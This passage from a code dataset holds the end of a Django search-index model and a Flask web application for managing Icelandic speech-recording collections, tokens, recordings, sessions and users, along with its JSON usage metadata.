\"\")),\n )\n children = piece.pop(\"children\", []) or []\n for child in children:\n si.content = si.content + child.get(\"text\", \"\")\n memo.append(si)\n else:\n children = piece.pop(\"children\", []) or []\n for child in children:\n create_search(part, child, memo, parent=piece)\n\n return memo\n\n\ndef update_search(sender, instance, created, **kwargs):\n SearchIndex.objects.filter(part=instance).delete()\n contexts = create_search(instance, instance.document, [])\n SearchIndex.objects.bulk_create(contexts, ignore_conflicts=True)\n SearchIndex.objects.filter(part=instance).update(search_vector=SearchVector('content'))\n", "sub_path": "regcore/search/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1577, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.db.models.Model", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 9, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.contrib.postgres.fields.ArrayField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.JSONField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 14, "usage_type": "call"}, {"api_name": "regcore.models.Part", "line_number": 14, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.contrib.postgres.search.SearchVectorField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.postgres.search.SearchVector", "line_number": 46, "usage_type": "call"}]} {"seq_id": "85527038", "text": "import json\nimport os\nimport sys\nimport zipfile\nimport tempfile\nimport traceback\nimport shutil\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\nfrom collections import defaultdict\nfrom flask import (Flask, Response, flash, redirect, render_template, request,\n send_from_directory, send_file, session, url_for, after_this_request, flash, jsonify)\nfrom flask_security import (Security, SQLAlchemyUserDatastore, login_required,\n roles_required, current_user)\nfrom flask_security.utils import hash_password\nfrom flask_executor import Executor\nfrom sqlalchemy import or_\nfrom sqlalchemy.sql.expression import func, select\nfrom werkzeug import secure_filename, Request\nfrom db import (create_tokens, insert_collection, sessions_day_info, delete_recording_db,\n delete_session_db, delete_token_db, save_recording_session, resolve_order)\nfrom filters import format_date\nfrom forms import (BulkTokenForm, CollectionForm, ExtendedLoginForm,\n ExtendedRegisterForm, UserEditForm, SessionEditForm, RoleForm, ConfigurationForm, collection_edit_form)\nfrom models import Collection, Recording, Role, Token, User, Session, Configuration, db\nfrom flask_reverse_proxy_fix.middleware import ReverseProxyPrefixFix\nfrom ListPagination import ListPagination\n\nfrom managers import ZipManager, RecordingInfoManager, IndexManager, create_collection_zip, trim_collection_handler\nfrom tools.analyze import load_sample, signal_is_too_high, signal_is_too_low, find_segment\n\n# initialize the logger\nlogfile_name = 'logs/info.log'\nlogfile_mode = 'w'\nif os.path.exists(logfile_name):\n logfile_mode = 'a'\nlogHandler = RotatingFileHandler(logfile_name, maxBytes=1000,\n backupCount=1, mode=logfile_mode)\nlogHandler.setLevel(logging.DEBUG)\nlogHandler.setFormatter(logging.Formatter(\n '[%(asctime)s] %(levelname)s in %(module)s: %(message)s'\n))\n\nuser_datastore = SQLAlchemyUserDatastore(db, User, Role)\ndef create_app():\n app = Flask(__name__)\n if os.getenv('SEMI_PROD', False):\n app.config.from_pyfile('{}.py'.format(os.path.join('settings/','semi_production')))\n else:\n app.config.from_pyfile('{}.py'.format(os.path.join('settings/',\n os.getenv('FLASK_ENV', 'development'))))\n app.logger.setLevel(logging.DEBUG)\n app.logger.addHandler(logHandler)\n if 'REVERSE_PROXY_PATH' in app.config:\n ReverseProxyPrefixFix(app)\n\n db.init_app(app)\n security = Security(app, user_datastore, login_form=ExtendedLoginForm)\n\n # register filters\n app.jinja_env.filters['datetime'] = format_date\n\n # Propagate background task exceptions\n app.config['EXECUTOR_PROPAGATE_EXCEPTIONS'] = True\n\n return app\n\napp = create_app()\nexecutor = Executor(app)\n\n# GENERAL ROUTES\n@app.route('/')\n@login_required\ndef index():\n return redirect(url_for('collection_list'))\n\n@app.route(f\"/{os.getenv('LOBE_REDIRECT','lobe')}/\")\n@login_required\ndef index_redirect():\n return redirect(url_for('collection_list'))\n\n@app.route('/post_recording/', methods=['POST'])\n@login_required\ndef post_recording():\n session_id = None\n try:\n session_id = save_recording_session(request.form, request.files)\n except Exception as error:\n flash(\"Villa kom upp. Hafið samband við kerfisstjóra\", category=\"danger\")\n app.logger.error(\"Error posting recordings: {}\\n{}\".format(error,traceback.format_exc()))\n return Response(str(error), status=500)\n\n if session_id is None:\n flash(\"Engar upptökur, bara setningar merktar.\", category='success')\n return Response(url_for('index'), status=200)\n else:\n return Response(url_for('rec_session', id=session_id), status=200)\n\n# RECORD ROUTES\n@app.route('/record/<int:coll_id>/', methods=['GET'])\n@login_required\ndef record_session(coll_id):\n collection = Collection.query.get(coll_id)\n user_id = request.args.get('user_id')\n\n if not user_id:\n flash(\"Villa kom upp. Vinsamlega veljið rödd til að taka upp\", category=\"danger\")\n return redirect(url_for('collection', id=coll_id))\n if not collection.configuration:\n flash(\"Villa kom upp. Vinsamlega veljið stillingar fyrir söfnunina\", category=\"danger\")\n return redirect(url_for('collection', id=coll_id))\n user_id = int(user_id)\n user = User.query.get(user_id)\n if collection.has_assigned_user():\n if user_id != collection.assigned_user_id:\n flash(\"Aðeins skráð rödd getur tekið upp í þessari söfnun\",\n category=\"danger\")\n return redirect(url_for('index'))\n\n tokens = Token.query.filter(Token.collection_id==coll_id,\n Token.num_recordings==0, Token.marked_as_bad!=True).order_by(\n collection.get_sortby_function()).limit(collection.configuration.session_sz)\n\n if tokens.count() == 0:\n flash(\"Engar ólesnar eða ómerkar setningar eru eftir í þessari söfnun\",\n category=\"warning\")\n return redirect(url_for(\"collection\", id=coll_id))\n\n return render_template('record.jinja', section='record',\n collection=collection, token=tokens,\n json_tokens=json.dumps([t.get_dict() for t in tokens]),\n user=user, manager=current_user,\n tal_api_token=app.config['TAL_API_TOKEN'])\n\n@app.route('/record/analyze/', methods=['POST'])\n@login_required\ndef analyze_audio():\n # save to disk, only one file in the form\n file_obj = next(iter(request.files.values()))\n file_path = os.path.join(app.config['TEMP_DIR'], file_obj.filename)\n file_obj.save(file_path)\n\n high_thresh = float(request.form['high_thresh'])\n high_frames = int(request.form['high_frames'])\n low_thresh = float(request.form['low_thresh'])\n top_db = float(request.form['top_db'])\n\n # load the sample\n sample, sr = load_sample(file_path)\n segment_times = find_segment(sample, sr, top_db=top_db)\n # check the sample and return the response\n message = 'ok'\n if signal_is_too_high(sample, thresh=high_thresh, num_frames=high_frames):\n message = 'high'\n elif signal_is_too_low(sample, thresh=low_thresh):\n message = 'low'\n\n body = {\n 'analysis': message,\n 'segment': {\n 'start': float(segment_times[0]),\n 'end': float(segment_times[1])\n }\n }\n return jsonify(body), 200\n\n@app.route('/recording/<int:id>/cut/', methods=['POST'])\n@login_required\ndef cut_recording(id):\n recording = Recording.query.get(id)\n start = float(request.form['start'])\n end = float(request.form['end'])\n\n if start == -1 and end == -1:\n recording.start = None;\n recording.end = None;\n else:\n recording.start = start\n recording.end = end\n db.session.commit()\n return \"ok\", 200\n\n@app.route('/record/token/<int:tok_id>/')\n@login_required\ndef record_single(tok_id):\n token = Token.query.get(tok_id)\n return render_template('record.jinja', tokens=token, section='record',\n single=True, json_tokens=json.dumps([token.get_dict()]),\n tal_api_token=app.config['TAL_API_TOKEN'])\n\n\n# COLLECTION ROUTES\n\n@app.route('/collections/create/', methods=['GET', 'POST'])\n@login_required\ndef create_collection():\n form = CollectionForm(request.form)\n if request.method == 'POST' and form.validate():\n try:\n # add collection to database\n collection = insert_collection(form)\n return redirect(url_for('collection', id=collection.id))\n except Exception as error:\n flash(\"Error creating collection.\", category=\"danger\")\n app.logger.error(\"Error creating collection {}\\n{}\".format(error,traceback.format_exc()))\n return render_template('forms/model.jinja', form=form, type='create',\n section='collection')\n\n@app.route('/collections/')\n@login_required\ndef collection_list():\n page = int(request.args.get('page', 1))\n # TODO: sort_by not currently supported\n sort_by = request.args.get('sort_by', 'name')\n collections = Collection.query.order_by(resolve_order(Collection,\n request.args.get('sort_by', default='name'),\n order=request.args.get('order', default='desc')))\\\n .paginate(page,per_page=app.config['COLLECTION_PAGINATION'])\n return render_template('lists/collections.jinja', collections=collections,\n section='collection')\n\n@app.route('/collections/zip_list/')\n@login_required\ndef collection_zip_list():\n page = int(request.args.get('page', 1))\n # TODO: sort_by not currently supported\n sort_by = request.args.get('sort_by', 'name')\n collections = db.session.query(Collection).filter_by(has_zip=True).paginate(page,\n per_page=app.config['COLLECTION_PAGINATION'], )\n return render_template('lists/zips.jinja', zips=collections,\n section='collection')\n\n@app.route('/collections/<int:id>/', methods=['GET', 'POST'])\n@login_required\ndef collection(id):\n token_form = BulkTokenForm(request.form)\n if request.method == 'POST':\n tokens = create_tokens(id, request.files.getlist('files'),\n token_form.is_g2p.data)\n\n collection = Collection.query.get(id)\n\n tokens = Token.query.filter(Token.collection_id==collection.id)\\\n .order_by(resolve_order(Token,\n request.args.get('sort_by', default='created_at'),\n order=request.args.get('order', default='desc')))\\\n .paginate(int(request.args.get('page', 1)) ,per_page=app.config['TOKEN_PAGINATION'])\n\n return render_template('collection.jinja',\n collection=collection, token_form=token_form, tokens=tokens,\n users=User.query.all(), section='collection')\n\n\n@app.route('/collections/<int:id>/sessions', methods=['GET'])\n@login_required\ndef collection_sessions(id):\n page = int(request.args.get('page', 1))\n collection = Collection.query.get(id)\n rec_sessions = ListPagination(collection.sessions, page,\n app.config['SESSION_PAGINATION'])\n return render_template('lists/collection_sessions.jinja',\n collection=collection, sessions=rec_sessions, section='collection')\n\n@app.route('/collections/<int:id>/trim', methods=['GET'])\n@login_required\ndef trim_collection(id):\n '''\n Trim all recordings in the collection\n '''\n trim_type = int(request.args.get('trim_type', default=0))\n executor.submit(trim_collection_handler, id, trim_type)\n flash('Söfnun verður klippt vonbráðar.', category='success')\n return redirect(url_for('collection', id=id))\n\n@app.route('/collections/<int:id>/generate_zip')\n@login_required\ndef generate_zip(id):\n # TODO: Send some message in real-time to notify user when finished\n executor.submit(create_collection_zip, id)\n flash('Skjalasafn verður tilbúið vonbráðar.', category='success')\n return redirect(url_for('collection', id=id))\n\n@app.route('/collections/<int:id>/stream_zip')\n@login_required\ndef stream_collection_zip(id):\n collection = Collection.query.get(id)\n zip_file = open(collection.zip_path, 'rb')\n file_size = os.path.getsize(collection.zip_path)\n return Response(\n zip_file,\n mimetype='application/octet-stream',\n headers=[\n ('Content-Length', str(file_size)),\n ('Content-Disposition', \"attachment; filename=\\\"%s\\\"\" % '{}'.format(collection.zip_fname))\n ],\n direct_passthrough=True)\n\n@app.route('/collections/<int:id>/edit/', methods=['GET', 'POST'])\n@login_required\ndef edit_collection(id):\n collection = Collection.query.get(id)\n form = collection_edit_form(collection)\n if request.method == 'POST':\n try:\n form = CollectionForm(request.form, obj=conf)\n if form.validate():\n form.populate_obj(collection)\n db.session.commit()\n collection = Collection.query.get(id)\n flash(\"Söfnun hefur verið breytt\", category='success')\n return redirect(url_for('collection', id=id))\n except Exception as error:\n app.logger.error('Error updating a collection : {}\\n{}'.format(\n error, traceback.format_exc()))\n\n return render_template('forms/model.jinja', collection=collection,\n form=form, type='edit', action=url_for('edit_collection', id=id),\n section='collection')\n\n@app.route('/collections/<int:id>/delete/')\n@login_required\n@roles_required('admin')\ndef delete_collection(id):\n collection = db.session.query(Collection).get(id)\n name = collection.name\n has_zip = collection.has_zip\n zip_path = collection.zip_path\n try:\n db.session.delete(collection)\n db.session.commit()\n shutil.rmtree(collection.get_record_dir())\n shutil.rmtree(collection.get_token_dir())\n shutil.rmtree(collection.get_video_dir())\n if has_zip: os.remove(zip_path)\n flash(\"{} var eytt\".format(name), category='success')\n except Exception as error:\n flash(\"Villa kom upp. Hafið samband við kerfisstjóra\", category=\"danger\")\n app.logger.error('Error updating a collection : {}\\n{}'.format(\n error, traceback.format_exc()))\n return redirect(url_for('collection_list'))\n\n\n@app.route('/collections/<int:id>/delete_archive/')\n@login_required\n@roles_required('admin')\ndef delete_collection_archive(id):\n collection = db.session.query(Collection).get(id)\n if collection.has_zip:\n do_delete = True\n try:\n os.remove(collection.zip_path)\n except FileNotFoundError:\n pass\n except Exception as error:\n flash(\"Villa kom upp. Hafið samband við kerfisstjóra\", category=\"danger\")\n app.logger.error('Error deleting an archive : {}\\n{}'.format(\n error, traceback.format_exc()))\n do_delete = False\n if do_delete:\n collection.has_zip = False\n collection.zip_token_count = 0\n collection.zip_created_at = None\n db.session.commit()\n flash(\"Skjalasafni var eytt\", category='success')\n else:\n flash(\"Söfnun hefur ekkert skjalasafn\", category='warning')\n return redirect(url_for('collection', id=id))\n\n# TOKEN ROUTES\n\n@app.route('/tokens/<int:id>/')\n@login_required\ndef token(id):\n return render_template('token.jinja', token=Token.query.get(id),\n section='token')\n\n@app.route('/tokens/')\n@login_required\ndef token_list():\n page = int(request.args.get('page', default=1))\n tokens = Token.query.order_by(resolve_order(Token,\n request.args.get('sort_by', default='created_at'),\n order=request.args.get('order', default='desc'))).paginate(page,\n per_page=app.config['TOKEN_PAGINATION'])\n\n return render_template('lists/tokens.jinja', tokens=tokens, section='token')\n\n@app.route('/tokens/<int:id>/download/')\n@login_required\ndef download_token(id):\n token = Token.query.get(id)\n try:\n return send_from_directory(token.get_directory(), token.fname,\n as_attachment=True)\n except Exception as error:\n app.logger.error(\n \"Error downloading a token : {}\\n{}\".format(error,traceback.format_exc()))\n\n@app.route('/tokens/<int:id>/delete/', methods=['GET'])\n@login_required\n@roles_required('admin')\ndef delete_token(id):\n token = Token.query.get(id)\n did_delete = delete_token_db(token)\n if did_delete:\n flash(\"Setningu var eytt\", category='success')\n else:\n flash(\"Ekki gekk að eyða setningu\", category='warning')\n return redirect(request.args.get('backref', url_for('index')))\n\n\n@app.route('/token/<int:id>/mark_bad/')\n@login_required\ndef toggle_token_bad(id):\n token = Token.query.get(id)\n token.marked_as_bad = not token.marked_as_bad\n token.collection.update_numbers()\n db.session.commit()\n return redirect(url_for('token', id=token.id))\n\n# RECORDING ROUTES\n\n@app.route('/recordings/')\n@login_required\ndef recording_list():\n page = int(request.args.get('page', 1))\n only_bad = bool(request.args.get('only_bad', False))\n\n if only_bad:\n recordings = db.session.query(Recording).filter_by(marked_as_bad=True).paginate(page,\n per_page=app.config['RECORDING_PAGINATION'])\n else:\n recordings = Recording.query.order_by(resolve_order(Recording,\n request.args.get('sort_by', default='created_at'),\n order=request.args.get('order', default='desc')))\\\n .paginate(page, per_page=app.config['RECORDING_PAGINATION'])\n\n return render_template('lists/recordings.jinja', recordings=recordings, only_bad=only_bad,\n section='recording')\n\n@app.route('/recordings/<int:id>/')\n@login_required\ndef recording(id):\n recording = Recording.query.get(id)\n return render_template('recording.jinja', recording=recording, section='recording')\n\n@app.route('/recordings/<int:id>/delete/', methods=['GET'])\n@login_required\n@roles_required('admin')\ndef delete_recording(id):\n recording = Recording.query.get(id)\n did_delete = delete_recording_db(recording)\n if did_delete:\n flash(\"Upptöku var eytt\", category='success')\n else:\n flash(\"Ekki gekk að eyða upptöku\", category='warning')\n return redirect(request.args.get('backref', url_for('index')))\n\n\n@app.route('/recordings/<int:id>/mark_bad/')\n@login_required\ndef toggle_recording_bad(id):\n recording = Recording.query.get(id)\n recording.marked_as_bad = not recording.marked_as_bad\n db.session.commit()\n return redirect(url_for('recording', id=recording.id))\n\n@app.route('/recordings/<int:id>/mark_bad_ajax/')\n@login_required\ndef toggle_recording_bad_ajax(id):\n recording = Recording.query.get(id)\n state = not recording.marked_as_bad\n recording.marked_as_bad = state\n db.session.commit()\n\n return Response(str(state), 200)\n\n@app.route('/recordings/<int:id>/download/')\n@login_required\ndef download_recording(id):\n recording = Recording.query.get(id)\n try:\n return send_from_directory(recording.get_directory(), recording.fname,\n as_attachment=True)\n except Exception as error:\n app.logger.error(\n \"Error downloading a recording : {}\\n{}\".format(error,traceback.format_exc()))\n\n# CONFIGURATION ROUTES\n@app.route('/confs/')\n@login_required\ndef conf_list():\n page = int(request.args.get('page', 1))\n confs = Configuration.query.order_by(resolve_order(Configuration,\n request.args.get('sort_by', default='created_at'),\n order=request.args.get('order', default='desc'))).paginate(page,\n per_page=app.config['CONF_PAGINATION'])\n return render_template('lists/confs.jinja', confs=confs, section='other')\n\n@app.route('/confs/<int:id>/')\n@login_required\ndef conf(id):\n conf = Configuration.query.get(id)\n collections = Collection.query.filter(Collection.configuration_id==id)\n return render_template('conf.jinja', conf=conf, collections=collections,\n section='other')\n\n@app.route('/confs/<int:id>/edit/', methods=['GET', 'POST'])\n@login_required\ndef edit_conf(id):\n conf = Configuration.query.get(id)\n form = ConfigurationForm(obj=conf)\n if request.method == 'POST':\n try:\n form = ConfigurationForm(request.form, obj=conf)\n if form.validate():\n form.populate_obj(conf)\n db.session.commit()\n flash(\"Stillingum var breytt\", category='success')\n return redirect(url_for(\"conf\", id=conf.id))\n except Exception as error:\n app.logger.error('Error updating a configuration : {}\\n{}'.format(error, traceback.format_exc()))\n return render_template('forms/model.jinja', form=form, type='edit',\n action=url_for('edit_conf', id=id), section='other')\n\n\n@app.route('/confs/create/', methods=['GET', 'POST'])\n@login_required\ndef create_conf():\n form = ConfigurationForm(request.form)\n if request.method == 'POST' and form.validate():\n try:\n configuration = Configuration()\n form.populate_obj(configuration)\n db.session.add(configuration)\n db.session.commit()\n return redirect(url_for('conf', id=configuration.id))\n except Exception as error:\n flash(\"Error creating configuration.\", category=\"danger\")\n app.logger.error(\"Error creating configuration {}\\n{}\".format(error,traceback.format_exc()))\n return render_template('forms/model.jinja', form=form,\n action=url_for('create_conf'), section='other')\n\n\n@app.route('/confs/<int:id>/delete/', methods=['GET'])\n@login_required\n@roles_required('admin')\ndef delete_conf(id):\n conf = Configuration.query.get(id)\n name = conf.printable_name\n if conf.is_default:\n flash(\"Ekki er hægt að eyða aðalstillingum\", category='warning')\n return redirect(conf.url)\n try:\n db.session.delete(user)\n db.session.commit()\n flash(f\"{name} var eytt\", category='success')\n except Exception as error:\n app.logger.error('Error deleting a configuration : {}\\n{}'.format(error, traceback.format_exc()))\n return redirect(url_for('rec_session_list'))\n\n\n# SESSION ROUTES\n\n@app.route('/sessions/')\n@login_required\ndef rec_session_list():\n page = int(request.args.get('page', 1))\n sessions = Session.query.order_by(resolve_order(Session,\n request.args.get('sort_by', default='created_at'),\n order=request.args.get('order', default='desc'))).paginate(page,\n per_page=app.config['SESSION_PAGINATION'])\n return render_template('lists/sessions.jinja', sessions=sessions,\n section='session')\n\n@app.route('/sessions/<int:id>/')\n@login_required\ndef rec_session(id):\n session = Session.query.get(id)\n return render_template('session.jinja', session=session,\n section='session')\n\n@app.route('/sessions/<int:id>/edit/', methods=['GET', 'POST'])\n@login_required\n@roles_required('admin')\ndef session_edit(id):\n session = Session.query.get(id)\n form = SessionEditForm(request.form)\n try:\n if request.method == 'POST' and form.validate():\n form.populate_obj(session)\n db.session.commit()\n flash(\"Lotu var breytt\", category='success')\n except Exception as error:\n app.logger.error('Error updating a session : {}\\n{}'.format(error, traceback.format_exc()))\n return render_template('forms/model.jinja', form=form, type='edit',\n action=url_for('session_edit', id=id), section='session')\n\n@app.route('/sessions/<int:id>/delete/', methods=['GET'])\n@login_required\n@roles_required('admin')\ndef delete_session(id):\n record_session = Session.query.get(id)\n did_delete = delete_session_db(record_session)\n if did_delete:\n flash(\"Lotu var eytt\", category='success')\n else:\n flash(\"Ekki gekk að eyða lotu\", category='warning')\n return redirect(url_for('rec_session_list'))\n\n# USER ROUTES\n\n@app.route('/users/')\n@login_required\n@roles_required('admin')\ndef user_list():\n page = int(request.args.get('page', 1))\n users = User.query.order_by(resolve_order(User,\n request.args.get('sort_by', default='name'),\n order=request.args.get('order', default='desc')))\\\n .paginate(page, app.config['USER_PAGINATION'])\n return render_template('lists/users.jinja', users=users, section='user')\n\n@app.route('/users/<int:id>/')\n@login_required\ndef user(id):\n page = int(request.args.get('page', 1))\n user = User.query.get(id)\n recordings = Recording.query.filter(Recording.user_id==id).order_by(resolve_order(Recording,\n request.args.get('sort_by', default='created_at'),\n order=request.args.get('order', default='desc')))\\\n .paginate(page, app.config['RECORDING_PAGINATION'])\n return render_template(\"user.jinja\", user=user, recordings=recordings,\n section='user')\n\n@app.route('/users/<int:id>/times', methods=['GET'])\n@login_required\ndef user_time_info(id):\n user = User.query.get(id)\n sessions = Session.query.filter(\n or_(Session.user_id==user.id, Session.manager_id==user.id)).order_by(Session.created_at)\n\n day_info, total_est_work_time, total_session_duration = sessions_day_info(sessions, user)\n\n return render_template('user_time.jinja', user=user, sessions=sessions,\n day_info=day_info, total_est_work_time=total_est_work_time,\n total_session_duration=total_session_duration)\n\n\n@app.route('/users/<int:id>/edit/', methods=['GET', 'POST'])\n@login_required\ndef user_edit(id):\n user = User.query.get(id)\n form = UserEditForm(obj=user)\n if request.method == 'POST' :\n try:\n form = UserEditForm(request.form, obj=user)\n if form.validate():\n form.populate_obj(user)\n db.session.commit()\n flash(\"Notanda var breytt\", category='success')\n except Exception as error:\n app.logger.error('Error updating a user : {}\\n{}'.format(error, traceback.format_exc()))\n\n return render_template('forms/model.jinja', user=user, form=form, type='edit',\n action=url_for('user_edit', id=id), section='user')\n\n\n@app.route('/users/<int:id>/toggle_admin/', methods=['GET', 'POST'])\n@login_required\ndef user_toggle_admin(id):\n user = User.query.get(id)\n ds_user = user_datastore.get_user(id)\n if ds_user.has_role('admin'):\n user_datastore.remove_role_from_user(ds_user, 'admin')\n user_datastore.add_role_to_user(ds_user, 'Notandi')\n flash(\"Notandi er ekki lengur vefstjóri\", category='success')\n else:\n user_datastore.add_role_to_user(ds_user, 'admin')\n user_datastore.remove_role_from_user(ds_user, 'Notandi')\n flash(\"Notandi er nú vefstjóri\", category='success')\n db.session.commit()\n return redirect(url_for('user', id=id))\n\n@app.route('/users/create/', methods=['GET', 'POST'])\n@login_required\n@roles_required('admin')\ndef user_create():\n form = ExtendedRegisterForm(request.form)\n if request.method == 'POST' and form.validate():\n try:\n new_user = user_datastore.create_user(name=form.name.data, email=form.email.data,\n password=hash_password(form.password.data), roles=['admin' if form.is_admin.data else 'Notandi'])\n form.populate_obj(new_user)\n db.session.commit()\n\n flash(\"Nýr notandi var búinn til\", category='success')\n return redirect(url_for('user_list'))\n except Exception as error:\n app.logger.error('Error creating a user : {}\\n{}'.format(error,traceback.format_exc()))\n flash(\"Villa kom upp við að búa til nýjan notanda\", category='warning')\n\n return render_template('forms/model.jinja', form=form, type='create',\n action=url_for('user_create'), section='user')\n\n@app.route('/users/<int:id>/delete/')\n@login_required\n@roles_required('admin')\ndef delete_user(id):\n user = db.session.query(User).get(id)\n name = user.name\n db.session.delete(user)\n db.session.commit()\n flash(\"{} var eytt\".format(name), category='success')\n return redirect(url_for('user_list'))\n\n@app.route('/roles/create/', methods=['GET', 'POST'])\n@login_required\n@roles_required('admin')\ndef role_create():\n form = RoleForm(request.form)\n if request.method == 'POST' and form.validate():\n try:\n role = Role()\n form.populate_obj(role)\n db.session.add(role)\n db.session.commit()\n except Exception as error:\n app.logger.error('Error creating a role : {}\\n{}'.format(error,traceback.format_exc()))\n return render_template('forms/model.jinja', form=form, type='create',\n action=url_for('role_create'), section='role')\n\n@app.route('/roles/<int:id>/edit/', methods=['GET', 'POST'])\n@login_required\ndef role_edit(id):\n role = Role.query.get(id)\n form = RoleForm(request.form, obj=role)\n\n if request.method == 'POST' and form.validate():\n try:\n form.populate_obj(role)\n db.session.commit()\n flash(\"Hlutverki var breytt\", category='success')\n except Exception as error:\n app.logger.error('Error updating a role : {}\\n{}'.format(error,traceback.format_exc()))\n return render_template('forms/model.jinja', role=role, form=form, type='edit',\n action=url_for('role_edit', id=id), section='role')\n\n# OTHER ROUTES\n@app.route('/other/lobe_manual/')\n@login_required\ndef download_manual():\n try:\n return send_from_directory(app.config['OTHER_PATH'], app.config['MANUAL_FNAME'],\n as_attachment=True)\n except Exception as error:\n flash(\"Error downloading manual\", category=\"danger\")\n app.logger.error(\n \"Error downloading manual : {}\\n{}\".format(error,traceback.format_exc()))\n\n@app.route('/other/test_media_device')\n@login_required\ndef test_media_device():\n return render_template('media_device_test.jinja')\n\n@app.errorhandler(404)\ndef page_not_found(error):\n flash(\"Við fundum ekki síðuna sem þú baðst um.\", category=\"warning\")\n return redirect(url_for('index'))\n\n@app.errorhandler(500)\ndef internal_server_error(error):\n flash(\"Alvarleg villa kom upp, vinsamlega reynið aftur\", category=\"danger\")\n app.logger.error('Server Error: %s', (error))\n return redirect(url_for('index'))\n", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 29174, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.exists", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 40, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 41, "usage_type": "call"}, {"api_name": "flask_security.SQLAlchemyUserDatastore", "line_number": 45, "usage_type": "call"}, {"api_name": "models.db", "line_number": 45, "usage_type": "argument"}, {"api_name": "models.User", "line_number": 45, "usage_type": "argument"}, {"api_name": "models.Role", "line_number": 45, "usage_type": "argument"}, {"api_name": "flask.Flask", "line_number": 47, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 52, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 53, "usage_type": "attribute"}, {"api_name": "flask_reverse_proxy_fix.middleware.ReverseProxyPrefixFix", "line_number": 56, "usage_type": "call"}, {"api_name": "models.db.init_app", "line_number": 58, "usage_type": "call"}, {"api_name": "models.db", "line_number": 58, "usage_type": "name"}, {"api_name": "flask_security.Security", "line_number": 59, "usage_type": "call"}, {"api_name": "forms.ExtendedLoginForm", "line_number": 59, "usage_type": "name"}, {"api_name": "filters.format_date", "line_number": 62, "usage_type": "name"}, {"api_name": "flask_executor.Executor", "line_number": 70, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 76, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 81, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 78, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 79, "usage_type": "name"}, {"api_name": "db.save_recording_session", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 88, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask.flash", "line_number": 90, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 91, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 96, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 96, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 98, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 98, "usage_type": "call"}, {"api_name": "flask_security.login_required", "line_number": 84, "usage_type": "name"}, {"api_name": "models.Collection.query.get", "line_number": 104, "usage_type": "call"}, {"api_name": "models.Collection.query", "line_number": 104, "usage_type": "attribute"}, {"api_name": "models.Collection", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 105, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 105, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 111, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 112, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 112, "usage_type": "call"}, {"api_name": "models.User.query.get", "line_number": 114, "usage_type": "call"}, {"api_name": "models.User.query", "line_number": 114, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 114, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 117, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 119, "usage_type": "call"}, {"api_name": "models.Token.query.filter", "line_number": 121, "usage_type": "call"}, {"api_name": "models.Token.query", "line_number": 121, "usage_type": "attribute"}, {"api_name": "models.Token", "line_number": 121, "usage_type": "name"}, {"api_name": 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{"api_name": "db.sessions_day_info", "line_number": 644, "usage_type": "call"}, {"api_name": 